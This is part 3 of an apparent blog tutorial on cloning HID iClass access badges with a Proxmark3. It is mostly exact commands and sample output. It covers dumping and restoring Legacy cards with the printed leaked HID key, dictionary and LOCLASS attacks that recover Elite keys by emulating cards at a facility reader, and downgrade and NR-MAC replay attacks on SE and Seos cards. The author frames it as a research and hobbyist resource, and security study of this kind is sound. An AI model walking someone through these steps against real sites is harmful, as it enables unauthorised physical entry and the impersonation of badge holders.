part 3
3. attacking iClass cards, a DIY tutorial
For iClass Legacy, all of the attacks have been known since the initial burst of research papers in the early 2010s; for a while though, keys weren’t publicly known and attacks weren’t publicly implemented. But nowadays, convenient open-source implementations and programmable hardware exist for executing every step of the cloning process. The device I recommend and provide instructions for is the Proxmark3. For iClass SE and Seos, as I’ve mentioned, we can’t properly clone them yet; however, there’s still a few available attacks that I’ll describe later on.
iClass card type |
can we clone it with a proxmark? |
Legacy Standard |
YES |
Legacy Elite |
YES (usually) |
SE Standard |
no, but practical attacks exist (maybe clonable one day) |
SE Elite |
no |
Seos Standard |
no, but some attacks exist (maybe clonable one day) |
Seos Elite |
no |
This section provides a walkthrough assuming you own an iClass card that you want to clone. If you need to figure out what type of card you have, check out this doc for understanding all the markings on your card. iClass cards will generally have the marking “HID iClass” followed by two letters e.g. DP, DL, DY, GY, etc. My understanding is that these two letters are just manufacturing information and are irrelevant to the type/memory contents/encoding of the card. When googling, you’ll often see people ask things like “how do I clone my iClass DL card”. In reality, mentioning the DL part is redundant as the actual questions are: is it legacy or SE (or maybe SR)? is it standard or elite-keyed? Cards may have an SE or SR marking on the card if that’s what they are. But to determine standard vs elite-keyed, you need to actually try reading the card contents with a device, which is what this section is about.
3.1 the price of admission
The Proxmark is the Swiss army knife of RFID. At time of writing, the only version sold by the official distributors is the Proxmark3 RDV4 for a whopping $340. Alternatively, my recommendation is to buy one of the $40 Chinese knockoffs from ebay, which are reliable enough in my experience. These are replicas of the Proxmark3 Easy, which is a cheaper version that the official distributors seem to have discontinued. Going with this route, you will need to flash the firmware onto the device. You can also avoid this step by buying a proxmark pre-flashed from Dangerous Things for over double the price (likely higher quality hardware as well).
For flashing firmware, you have two options: the official Proxmark firmware repo, or the Iceman fork. From what I’ve seen, the Iceman fork is more well featured, has more community support, and is largely preferred. The Iceman repo has detailed instructions for Linux, macOS, and Windows. The pm3
commands provided from now on assume firmware is flashed correctly and you have a shell in pm3
with the proxmark plugged in. Flashing firmware can be a somewhat confusing process, the RFID hacking discord and the proxmark forums are good resources if you need help.
IMPORTANT note for firmware: if you’re using a Proxmark3 Easy, you should configure advanced compilation parameters to make sure you compile for that hardware, not the RDV4, since the RDV4 has some functionality the Easy doesn’t. Copy Makefile.platform.sample
to Makefile.platform
and set PLATFORM=GENERIC
in that file before you make -j
it.
To buy blank cards to work with and clone to, search for 2000PGGMN on ebay (here’s one listing). They’re a little under $10 each when bought individually. In bulk, they can be under $4 each, though that usually means buying 100+ cards from an actual supplier like identisource.
3.2 cloning legacy standard
The category of commands you want to use in the pm3
shell is hf iclass
, which has quite a few subcommands.
[usb] pm3 --> hf iclass
----------- --------------------- General ---------------------
help This help
list List iclass history
----------- ------------------- Operations -------------------
dump Dump Picopass / iCLASS tag to file
info Tag information
rdbl Read Picopass / iCLASS block
reader Act like a Picopass / iCLASS reader
restore Restore a dump file onto a Picopass / iCLASS tag
sniff Eavesdrop Picopass / iCLASS communication
view Display content from tag dump file
wrbl Write Picopass / iCLASS block
creditepurse Credit epurse value
----------- --------------------- Recovery --------------------
chk Check keys
loclass Use loclass to perform bruteforce reader attack
lookup Uses authentication trace to check for key in dictionary file
----------- -------------------- Simulation -------------------
sim Simulate iCLASS tag
eload Upload file into emulator memory
esave Save emulator memory to file
esetblk Set emulator memory block data
eview View emulator memory
----------- ---------------------- Utils ----------------------
configcard Reader configuration card
calcnewkey Calc diversified keys (blocks 3 & 4) to write new keys
encode Encode binary wiegand to block 7
encrypt Encrypt given block data
decrypt Decrypt given block data or tag dump file
managekeys Manage keys to use with iclass commands
permutekey Permute function from 'heart of darkness' paper
The most important one is hf iclass info
, which prints most of the relevant information from your card. Example output:
[=] --- Tag Information ----------------------------------------
[+] CSN: 67 5D 74 00 F7 FF 12 E0 uid
[+] Config: 12 FF FF FF 7F 1F FF 3C card configuration
[+] E-purse: FA FF FF FF FF FF FF FF Card challenge, CC
[+] Kd: 00 00 00 00 00 00 00 00 debit key ( hidden )
[+] Kc: 00 00 00 00 00 00 00 00 credit key ( hidden )
[+] AIA: FF FF FF FF FF FF FF FF application issuer area
[=] -------------------- Card configuration --------------------
[=] Raw... 12 FF FF FF 7F 1F FF 3C
[=] 12 ( 18 )............. app limit
[=] FFFF ( 65535 )...... OTP
[=] FF............ block write lock
[=] 7F......... chip
[=] 1F...... mem
[=] FF... EAS
[=] 3C fuses
[=] Fuses:
[+] mode......... Application (locked)
[+] coding....... ISO 14443-2 B / 15693
[+] crypt........ Secured page, keys not locked
[=] RA........... Read access not enabled
[=] PROD0/1...... Default production fuses
[=] -------------------------- Memory --------------------------
[=] 2 KBits/2 App Areas ( 256 bytes )
[=] 1 books / 1 pages
[=] First book / first page configuration
[=] Config | 0 - 5 ( 0x00 - 0x05 ) - 6 blocks
[=] AA1 | 6 - 18 ( 0x06 - 0x12 ) - 13 blocks
[=] AA2 | 19 - 31 ( 0x13 - 0x1F ) - 18 blocks
[=] ------------------------- KeyAccess ------------------------
[=] * Kd, Debit key, AA1 Kc, Credit key, AA2 *
[=] Read AA1..... debit
[=] Write AA1.... debit
[=] Read AA2..... credit
[=] Write AA2.... credit
[=] Debit........ debit or credit
[=] Credit....... credit
[=] ------------------------ Fingerprint -----------------------
[+] CSN.......... HID range
[+] Credential... iClass legacy
[+] Card type.... PicoPass 2K
[+] Card chip.... NEW Silicon (No 14b support)
[+] AA1 Key...... AEA684A6DAB23278
[=] Block 7 decoder
[+] Binary..................... 110010101000000000011110111
[=] Wiegand decode
[+] [H10301 ] HID H10301 26-bit FC: 42 CN: 123 parity ( ok )
[+] [ind26 ] Indala 26-bit FC: 672 CN: 123 parity ( ok )
[=] found 2 matching formats
Pretty much all of this output has been explained at some point in Section 2 of this article. For example, remember that blocks 0, 1, 2, and 5 were the only ones open to unauthenticated read, and these are the the blocks printed at the top (CSN, config, e-purse, AIA). Then, at the bottom, the proxmark automagically does the whole authenticate → read → decrypt → decode process, and shows the FC is 42 and the CN is 123 (ignore the Indala format, this is an H10301 card). The proxmark is implicitly using both the leaked HID authentication key and the leaked HID transport key here.
To understand things better, let’s dump all the card memory with hf iclass dump
. This time, we need to manually pass the HID authentication key to read AA1 (blocks 6-18). By default, this should be stored in key index 0, accessible with --ki 0
. Otherwise, just pass it manually with -k AEA684A6DAB23278
.
[usb] pm3 --> hf iclass dump --ki 0
[=] --------------------------- Tag memory ----------------------------
[=] block# | data | ascii |lck| info
[=] ---------+-------------------------+----------+---+----------------
[=] 0/0x00 | 67 5D 74 00 F7 FF 12 E0 | g]t..... | | CSN
[=] 1/0x01 | 12 FF FF FF 7F 1F FF 3C | .......< | | Config
[=] 2/0x02 | FA FF FF FF FF FF FF FF | ........ | | E-purse
[=] 3/0x03 | D1 86 4C 9F F9 CC 44 CF | ..L...D. | | Debit
[=] 4/0x04 | FF FF FF FF FF FF FF FF | ........ | | Credit
[=] 5/0x05 | FF FF FF FF FF FF FF FF | ........ | | AIA
[=] 6/0x06 | 03 03 03 03 00 03 E0 17 | ........ | | User / HID CFG
[=] 7/0x07 | 22 E2 0C 00 59 5F 08 EF | ..Y.Kk.. | | User / Enc Cred
[=] 8/0x08 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred
[=] 9/0x09 | 2A D4 C8 21 1F 99 68 71 | *..!..hq | | User / Enc Cred
[=] 10/0x0A | FF FF FF FF FF FF FF FF | ........ | | User
[=] 11/0x0B | FF FF FF FF FF FF FF FF | ........ | | User
[=] 12/0x0C | FF FF FF FF FF FF FF FF | ........ | | User
[=] 13/0x0D | FF FF FF FF FF FF FF FF | ........ | | User
[=] 14/0x0E | FF FF FF FF FF FF FF FF | ........ | | User
[=] 15/0x0F | FF FF FF FF FF FF FF FF | ........ | | User
[=] 16/0x10 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 17/0x11 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 18/0x12 | FF FF FF FF FF FF FF FF | ........ | | User
[=] ---------+-------------------------+----------+---+----------------
[?] yellow = legacy credential
This will print the card dump and save it to some dump files. To clone from a dump file, copy one of the filepaths, remove your original card from the proxmark, and place the blank on it. Here’s the command:
hf iclass restore --first 6 --last 9 --ki 0 -f <dump filepath>
[+] Using key[0] AE A6 84 A6 DA B2 32 78
[+] loaded `<dump filepath>`
[=] restore started...
[#] Write block [ 6/0x06] successful
[#] Write block [ 7/0x07] successful
[#] Write block [ 8/0x08] successful
[#] Write block [ 9/0x09] successful
[+] iCLASS restore successful
[?] Try `hf iclass rdbl` to verify data on card
If successful, this card will now function identically to your original card when held to a reader. For some more commands you can use, reading and writing blocks individually is done with these commands:
hf iclass rdbl --ki 0 --blk <block number>
hf iclass wrbl --ki 0 --blk <block number> -d <block data hex string>
We can decrypt blocks 7-9 from our dump like this (pm3 should find the transport key automatically):
hf iclass decrypt -f <dump filepath>
[=] --------------------------- Tag memory ----------------------------
[=] block# | data | ascii |lck| info
[=] ---------+-------------------------+----------+---+----------------
[=] 0/0x00 | 67 5D 74 00 F7 FF 12 E0 | g]t..... | | CSN
[=] 1/0x01 | 12 FF FF FF 7F 1F FF 3C | .......< | | Config
[=] 2/0x02 | FA FF FF FF FF FF FF FF | ........ | | E-purse
[=] 3/0x03 | D1 86 4C 9F F9 CC 44 CF | ..L...D. | | Debit
[=] 4/0x04 | FF FF FF FF FF FF FF FF | ........ | | Credit
[=] 5/0x05 | FF FF FF FF FF FF FF FF | ........ | | AIA
[=] 6/0x06 | 03 03 03 03 00 03 E0 14 | ........ | | User / HID CFG
[=] 7/0x07 | 00 00 00 00 06 54 00 F7 | .....T.. | | User / Cred
[=] 8/0x08 | 00 00 00 00 00 00 00 00 | ........ | | User / Cred
[=] 9/0x09 | 00 00 00 00 00 00 00 00 | ........ | | User / Cred
[=] 10/0x0A | FF FF FF FF FF FF FF FF | ........ | | User
[=] 11/0x0B | FF FF FF FF FF FF FF FF | ........ | | User
[=] 12/0x0C | FF FF FF FF FF FF FF FF | ........ | | User
[=] 13/0x0D | FF FF FF FF FF FF FF FF | ........ | | User
[=] 14/0x0E | FF FF FF FF FF FF FF FF | ........ | | User
[=] 15/0x0F | FF FF FF FF FF FF FF FF | ........ | | User
[=] 16/0x10 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 17/0x11 | FF FF FF FF FF FF FF FF | ........ | | User
[=] 18/0x12 | FF FF FF FF FF FF FF FF | ........ | | User
[=] ---------+-------------------------+----------+---+----------------
[?] yellow = legacy credential
[=] Block 7 decoder
[+] Binary..................... 110010101000000000011110111
[=] Wiegand decode
[+] [H10301 ] HID H10301 26-bit FC: 42 CN: 123 parity ( ok )
[+] [ind26 ] Indala 26-bit FC: 672 CN: 123 parity ( ok )
[=] found 2 matching formats
[=] -----------------------------------------------------------------
Similar to hf iclass info
, the decrypt
command also automatically does the Wiegand decoding, but we could also do it manually with this command:
wiegand decode -r <decrypted block 7 hex string>
.
To take another FC, CN combo and write it directly to your card, you can use the following command, assuming the bit encoding is H10301:
hf iclass encode --ki 0 -w H10301 --fc <FC> --cn <CN>
This does the encode → encrypt → authenticate → write process altogether.
Also, just for fun, I’ll mention that you can also simulate an iClass credential from a dump file (i.e. run the command and hold your proxmark up to the reader, and it pretends to be a card).
hf iclass eload -f <dump filepath>
hf iclass sim -t 3
There’s plenty of other commands, but I’ve gone over all the important ones for standard-keyed iClass Legacy.
3.3 cloning legacy elite
For Elite-keyed credentials, the first step is to find your organization’s Elite authentication key. Once you have the key, all the same commands from section 3.3 work for cloning a card, but you need to add two parameters: --elite
to use the Elite KDF instead of Standard, and -k <key hex string>
to pass the auth key.
BEFORE PROCEEDING: make 100% sure you can’t dump it with hf iclass dump --ki 0
(if you can, it’s Standard)
The first thing to try is a dictionary attack. The proxmark developers have kindly compiled a list of ~700 Elite keys to try, and if you’re lucky, yours is in there. With your Elite card on the proxmark, run this:
hf iclass chk -f iclass_elite_keys.dic --elite
If that doesn’t find you the key, here’s another dictionary (mostly overlaps, but it’s worth trying).
Otherwise, you need to perform the LOCLASS attack to recover the elite authentication key used for all readers and cards in your organization. As mentioned earlier, this is the second attack laid out in this paper. Also, here’s a demo of this attack from Iceman himself.
First step: find a reader at your site, hold your proxmark up to it, and run this command:
hf iclass sim -t 2
Example of successful output:
[=] Starting iCLASS sim 2 attack (elite mode)
[=] press `enter` to cancel
[#] going into attack mode, 9 CSNS sent
[#] CSN: 01 .... e0 OK
[#] CSN: 0c .... e0 OK
[#] CSN: 10 .... e0 OK
[#] CSN: 13 .... e0 OK
[#] CSN: 07 .... e0 OK
[#] CSN: 14 .... e0 OK
[#] CSN: 17 .... e0 OK
[#] CSN: ce .... e0 OK
[#] CSN: d2 .... e0 OK
[+] [+] 9 out of 9 MAC obtained [OK]
[+] saved 216 bytes to binary file iclass_mac_attack.bin
[?] Try `hf iclass loclass -f iclass_mac_attack.bin` to recover elite key
You should read the paper if you want details, but the idea is to emulate a bunch of fake cards with specially chosen CSNs such that they have low entropy, and store the nonces and MACs (cryptography stuff) that the reader responds with for each one.
Second step is offline, you don’t even need the proxmark plugged in.
hf iclass loclass -f iclass_mac_attack.bin
On my laptop, this took 16 seconds of computation. Example of successful output (using a sample dump file from the proxmark repo):
[+] Loaded 3024 bytes from binary file `iclass_dump.bin`
[=] bruteforce using 16 threads
[ 15 ] 160 / 255
[+] time 16 seconds
[+] ----- High security custom key (Kcus) -----
[+] Standard format 8F A2 50 C3 CB 61 F4 1C
[+] iCLASS format 5B 7C 62 C4 91 C1 1B 39
[+] Key verified ( ok )
In the output, the key we’ve been looking for is 5B7C62C491C11B39
. If it didn’t work: LOCLASS can fail for plenty of reasons. Your best bet is asking in the discord’s iClass channel or the forums.
3.4 iClass SE/Seos: downgrade attack
Beyond iClass Legacy, things are a bit murky. Without the keys, you generally need to use HID hardware that already has the keys secretly stored on it in order to clone iClass SE and Seos. The simplest attack for these card types is to effectively “downgrade” the card by constructing an iClass Legacy card with equivalent PACS data. This involves reading the Wiegand data from the SE or Seos card, and then re-encoding and writing it to a separate Legacy card. The catch here is that this attack does not work if iClass Legacy cards are disabled on your facility’s readers, i.e. the readers only accept SE and/or Seos. But from everything I’ve read, my understanding is that seemingly nobody actually puts in the effort to do this.
NOTE: to my understanding, this attack is only realistic for standard-keyed credentials (i.e. SE standard, Seos standard). This is because vendor hardware that can read iClass SE and Seos cards uses a secure access module (SAM), which is a secure chip that holds the keys and does the needed cryptographic operations with them. Standard-keyed SAMs are somewhat obtainable, Elite-keyed SAMs are not (unless you wanna tear a reader off the wall of your facility, break it open, and do surgery on the insides). Reading Wiegand data from an SE or Seos card simply requires using proprietary hardware that has a SAM, at least until the keys get leaked someday in the future. Without the keys, all we can do is use a SAM as a black box to go from physical card to Wiegand data. Here’s a nice demo showing a downgrade from SE to Legacy, and here’s another showing Seos to HID Prox (if your reader accepts Prox, you can downgrade to that too, but practically there’s no point).
There’s a few hardware combinations to choose from for this attack. Here’s specific instructions for the first two mentioned below, as well as helpful details for how to ensure a downgrade attack would work before you try it.
- Buy an Omnikey reader 5427CK Gen2 and download Omnikey Workbench, using that setup alongside a proxmark. This is the one used in the first demo from above.
- Another option is a Flipper Zero with the Seader app on it, as well as a NARD add-on board that has a HID SAM in it (may be hard to get one nowadays?).
- A Proxmark RDV4 (the expensive, official one that has a SAM slot on it), along with a standalone HID SAM (hard to get?). Iceman implemented and demonstrated the command
hf iclass sam
for downgrading iClass SE. There’s also a somewhat recent change in the proxmark repo to add a similar command hf seos sam
for downgrading Seos.
I won’t go over any more specifics here, since I’ve yapped more than enough for this section already lol
3.5 iClass SE: NR-MAC attack
Instead of cloning or downgrading a card to another physical credential, we can use a card-reader attack to dump an SE card without keys, and then emulate that dump. This is essentially halfway to cloning: we can read the data and emulate it, but we can’t write it to a new card. Here’s an overview of the steps involved in an NR-MAC replay attack on an iClass SE credential:
- Read the publicly accessible blocks from the card (CSN, e-purse, AIA) and populate them into a dump file, with the rest of the blocks set to anything.
- Emulate the dump file to a reader. In the trace of the reader’s responses, extract the NR and the MAC, which are two cryptographic values.
- Now dump the card, but instead of providing a key to dump it with, provide the NR and the MAC (in the proxmark, it’s
--nr
). This should dump the card without ever telling you the key, showing you the SIO.
- Take a template of an iClass SR credential dump, change the CSN to be the same as your actual SE card, and put the SIO in blocks 10-16 of this template. Now you can emulate this credential.
- You can’t emulate the original iClass SE dump, since we don’t have the keys for SE
- Since SR cards use the same keys as Legacy, we can emulate SR dumps even though they have an SIO
- You can’t write this dump to an SR card, since the SIO is bound to the CSN of your original card and any other physical card would necessarily have a different CSN
This also works for both Standard and Elite SE cards, as long as the reader you’re attacking is keyed the same as your card. This theoretically also works on iClass Legacy as well, though there would be no reason to ever do it on Legacy since we have the keys. This process is shown in some more detail here, and is weaponized on a Flipper Zero, explained here (though it’s still doable on a proxmark).
In the case that the readers require cards to be SE and are configured to disallow SR cards, there is still sometimes a way to emulate the SIO. You can sometimes emulate the original SE card dump on certain readers using a bug (CVE-2024-41566) found by NVX (quick explanation, entire talk about it). This is only a bug in some readers though, so it’s been fixed in newer models. In contrast, the NR-MAC attack exploits a vulnerability in the cryptographic protocol iClass uses, which can’t be fixed.
3.6 other notes on iClass SE/Seos
There is actually a way to directly clone iClass SE and Seos, in theory. Down the path of buying HID hardware, the furthest you could go is to get a crazy expensive HID encoder device (see relevant reddit thread here). If you could get your hands on one of those, you’d be able to clone standard-keyed iClass SE/Seos cards, IF (big if) the bit encoding used by your organization is open and implemented on the encoder. This is the most expensive/difficult and least useful option available for card cloning, though.
Moving beyond practicality here, consider the reality where the iClass SE and Seos keys do get leaked (it’s gotta happen eventually). iClass SE would be immediately readable/writable with the same hf iclass
commands we’re used to, since it’s on PicoPass silicon as well. Seos cards speak a different language, but it is also being implemented in the proxmark with hf seos
commands, despite us not knowing the keys. See this commit: “You still need keys to use this commandset, this does not have any keys and is theoretical at this stage until someone tests it with the keys.” Out of the 6 possible permutations of standard/elite with Legacy, SE, and Seos, as of today we can clone 2 of them with a proxmark (just Legacy standard/elite). Down the line, I believe all standard-keyed iClass SE and Seos credentials will become clonable with just a proxmark, bringing us to 4/6.
4. conclusion
4.1 quick summary
- HID Prox isn’t really iClass but I mentioned it anyway, it’s easily clonable
- iClass Legacy Standard is easily clonable
- iClass Legacy Elite is usually clonable
- iClass SE Standard is downgradable, has attacks against it, and is clonable if you’re one of the (currently very few) people who knows the keys
- iClass SE Elite is mostly safe, except for the rogue attacker capable of pulling a reader off the wall and doing ultra-precise hardware surgery to extract the SAM from it
- Seos Standard is in a similar spot to iClass SE standard, but a bit more secure
- Seos Elite is in a similar spot to iClass SE Elite, but a bit more secure
In a nutshell: iClass is 20-year-old insecure technology that should be upgraded if security is a concern. If you’re choosing which one to use: iClass SE Elite is fine, Seos Elite is the best you’re gonna get.
4.2 conclusion
This is the type of topic where every time you get a question answered, it prompts you to ask three more. Despite that, I still tried to answer every question possible with this article. I ended up including much more detail than was probably necessary, but I hope that it serves as a resource to others. I linked as many useful external resources as possible throughout this article, and my favorites are provided below in the appendix along with descriptions.